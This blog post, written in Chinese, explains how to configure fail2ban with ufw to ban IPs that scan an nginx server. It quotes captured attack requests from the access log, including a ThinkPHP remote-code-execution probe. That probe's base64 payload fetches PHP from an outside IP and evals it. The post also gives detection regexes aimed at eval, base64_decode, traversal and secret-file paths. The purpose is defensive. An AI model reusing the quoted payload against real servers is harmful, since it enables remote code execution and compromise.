利用 fail2ban 自动封禁乱扫的 IP
起因 #
今日尝试升级系统的包，顺便瞄了眼 nginx 日志，发现很多奇怪的请求，例如：
185.198.69.4 - - [25/Jan/2024:16:53:57 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 150 "-" "-"
35.203.211.148 - - [26/Jan/2024:21:10:00 +0000] "\x00\x00\x00\xAC\xFESMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001234567890123456$\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x001234567890123456h\x00\x00\x00\x02\x00\x00\x00\x11\x03\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x02\x00\x01\x00\x00\x00\x01\x00,\x00\x00\x00\x00\x00\x02\x00\x02\x00\x01\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-"
45.95.147.236 - - [03/Feb/2024:21:16:32 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=eval&vars[1][]='eval(base64_decode(\x22aWYoZmlsdGVyX3ZhcihpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSxGSUxURVJfVkFMSURBVEVfQk9PTEVBTikpe2V2YWwoZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpKTt9ZWxzZXskaD1jdXJsX2luaXQoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpO2N1cmxfc2V0b3B0KCRoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGgsQ1VSTE9QVF9IRUFERVIsMCk7ZXZhbChjdXJsX2V4ZWMoJGgpKTtjdXJsX2Nsb3NlKCRoKTt9\x22));' HTTP/1.1" 400 150 "-" "-"
45.156.128.7 - - [03/Feb/2024:21:14:32 +0000] "GET /sugar_version.json HTTP/1.1" 403 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
78.153.140.177 - - [03/Feb/2024:18:27:51 +0000] "GET /.env HTTP/1.1" 403 13 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
同一个 IP 基本上扫了好几页，日志里大部分都是这类请求…。
话说在前… #
fail2ban 更像一个「马后炮」来根据日志的错误来对来源请求进行拦截。
如果你部署的应用本身就不安全或配置上有安全隐患，fail2ban 并不是对应这类问题的终极答案。
如果你需要「预防」此类攻击，你或许更应该考虑 Web 应用防火墙1。
系统环境 #
都是 Debian，并使用 ufw 作为防火墙配置工具。
因此配置时也是直接让其使用 ufw 而非 fail2ban 默认使用的 iptables。
安装 #
安装 fail2ban 本体以及确保防火墙 ufw 也安装好了：
sudo apt install fail2ban ufw
配置 #
因为对自带的规则有点不满意，因此基于 nginx-botsearch 规则扩展了一下。
放入下述配置文件内容至 /etc/fail2ban/filter.d/jixun-nginx-logs.conf 即可：
# Fail2Ban filter to match web requests for selected URLs that don't exist
# Adapted from:
# https://github.com/fail2ban/fail2ban/blob/9bedc3c38385a2eb3c62677360c520a58819b9b1/config/filter.d/botsearch-common.conf
# https://github.com/fail2ban/fail2ban/blob/9bedc3c38385a2eb3c62677360c520a58819b9b1/config/filter.d/nginx-botsearch.conf
[Definition]
bad_prefix = \.
private_file = backup|password|database|config|bak|~|\.yaml|\.toml
admin_rules = [Mm]anager|[Aa]dmin|[lL]og[iI]n|[^/]\.git
php = .\.php|base64_decode|eval|call_user_func|\.\.\/\.\.\/
block_extra = <private_file>|<bad_prefix>|<admin_rules>|<php>
block = .*?\/?(<webmail>|<pwa>|<wordpress>|<block_extra>|cgi-bin)[\S]*?
# These are just convenient definitions that assist the blocking of stuff that
# isn't installed
webmail = roundcube|(ext)?mail|horde|(v-?)?webmail
pwa = (typo3/|xampp/|admin/)?(pma|(php)?[Mm]y[Aa]dmin|mysqladmin)
wordpress = wp-(login|signup|admin)\.php
failregex = ^<HOST> \- \S+ \[\] \"(GET|POST|HEAD) \/<block> \S+\" [^23]\d\d\s
^<HOST> \- \S+ \[\] \"\\x
^ \[error\] \d+#\d+: \*\d+ (\S+ )?\"\S+\" (failed|is not found) \(2\: No such file or directory\), client\: <HOST>\, server\: \S*\, request: \"(GET|POST|HEAD) \/<block> \S+\"\,\s
ignoreregex =
datepattern = {^LN-BEG}%%ExY(?P<_sep>[-/.])%%m(?P=_sep)%%d[T ]%%H:%%M:%%S(?:[.,]%%f)?(?:\s*%%z)?
^[^\[]*\[({DATE})
{^LN-BEG}
journalmatch = _SYSTEMD_UNIT=nginx.service + _COMM=nginx
其中 Definition 节下的正则表达式可以自行改写来根据需要补充规则。注意规则不要太“贪”2。
定义好规则后可以对现有的日志文件测试效果：
# 查看所有匹配规则的日志行
fail2ban-regex --print-all-matched /var/log/nginx/access.log \
/etc/fail2ban/filter.d/jixun-nginx-logs.conf
# 查看没有匹配上规则的日志行
fail2ban-regex --print-all-missed /var/log/nginx/access.log \
/etc/fail2ban/filter.d/jixun-nginx-logs.conf
然后可以继续配置 fail2ban 的「监狱」了。
将下述内容写出到 /etc/fail2ban/jail.d/jixun.conf：
[DEFAULT]
# 不尝试反向解析域名
usedns = no
# 封禁时间，默认 10 分钟
bantime = 10m
# 10 分钟内触发 5 次规则才会进行封禁
findtime = 10m
maxretry = 5
# 使用 UFW 作为防火墙来管理
banaction = ufw
banaction_allports = ufw
# 我们新加的日志过滤器
[nginx-logs]
enabled = true
filter = jixun-nginx-logs
port = http,https
logpath = /var/log/nginx/access.log
/var/log/nginx/error.log
※ 时间单位支持 d 天、h 小时、m 分钟、s 秒。例如 1d 表示 1 日。
完成后就可以重启服务来应用了：
sudo systemctl enable fail2ban # 确保服务启用
sudo systemctl restart fail2ban
sudo systemctl status fail2ban # 检查是否正常启动
正常启动时，上述指令的最后一行将输出绿色的 active (running) 字样。
测试 #
找一台机器，执行下述指令进行测试：
for i in `seq 1 20`; do
curl curl -kL 'https://192.168.1.2/.git'
sleep 0.2
done
其中 192.168.1.2 是我的机器 IP 地址（内网靶机嘛），而 .git 则是在规则中配置会触发封禁的路径。
跑了几秒后，可以发现 curl 开始报错无法连接了：
curl: (7) Failed to connect to 192.168.1.2 port 443 after 9 ms: Couldn't connect to server
curl: (7) Failed to connect to 192.168.1.2 port 443 after 9 ms: Couldn't connect to server
在服务器也可以看到当前封禁记录了：
# fail2ban-client status nginx-logs
Status for the jail: nginx-logs
|- Filter
| |- Currently failed: 1
| |- Total failed: 3
| `- File list: /var/log/nginx/access.log /var/log/nginx/error.log
`- Actions
|- Currently banned: 1
|- Total banned: 2
`- Banned IP list: 192.168.1.3
常见问题 #
fail2ban 提示找不到 sshd 的日志文件 #
错误信息如下：
Feb 02 15:00:53 lab-f2b systemd[1]: Started fail2ban.service - Fail2Ban Service.
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,441 fail2ban.configreader [833]: WARNING 'allowipv6' not defined in 'Definition'. Using default one: 'auto'
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,447 fail2ban [833]: ERROR Failed during configuration: Have not found any log file for sshd jail
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,451 fail2ban [833]: ERROR Async configuration of server failed
Feb 02 15:00:53 lab-f2b systemd[1]: fail2ban.service: Main process exited, code=exited, status=255/EXCEPTION
Feb 02 15:00:53 lab-f2b systemd[1]: fail2ban.service: Failed with result 'exit-code'.
如果没有开启 SSH 服务（例如测试环境）则可能会遇到这个问题，可以在配置文件中禁用。
将下述内容加入到 /etc/fail2ban/filter.d/sshd-disable.conf 即可：
[sshd]
enabled = false
封锁整个 IP 而非单个端口 #
将监狱配置文件的 port 字段改为 all 即可。
例如在 /etc/fail2ban/jail.d/jixun.conf 中作出如下更改：
[nginx-logs]
enabled = true
filter = jixun-nginx-logs
-port = http,https
+port = all
logpath = /var/log/nginx/access.log
/var/log/nginx/error.log
查询封禁记录 #
查询启用的监狱，fail2ban-client status：
Status
|- Number of jail: 2
`- Jail list: nginx-logs, sshd
查看 nginx-logs 监狱的封禁记录，fail2ban-client status nginx-logs：
Status for the jail: nginx-logs
|- Filter
| |- Currently failed: 1
| |- Total failed: 3
| `- File list: /var/log/nginx/access.log /var/log/nginx/error.log
`- Actions
|- Currently banned: 1
|- Total banned: 2
`- Banned IP list: 192.168.1.3
这些指令可能需要 root 权限。
手动封禁指定 IP #
临时封禁（监狱时间到后自动放行）：
fail2ban-client set "nginx-logs" banip "1.2.3.4"
永久封禁（直接从 ufw 进行封禁）：
do ufw deny from "1.2.3.4" to any
结语 #
如果只是自己用的服务，不如部署到内网（树莓派或 SFF 主机），直接避免外部访问；需要从外部访问则可以配置隧道来访问。
我自己的话也迁移了很多应用到家里的小主机来自托管，并使用 WireGuard 来建立一个安全的隧道来允许我偶尔在外面时访问。
另外… 尽量保持系统和软件更新！
后记 #
发现规则配置了也没啥用，唯一的帮助是日志更方便看了…
- 有些请求就是固定扫某一个路径，大概一天扫一次的低频行为 => 手动拉黑眼不见心不烦。
- 有些可能是轮换 IP；有看到一部分请求是连续错误三次，然后换了个 IP…
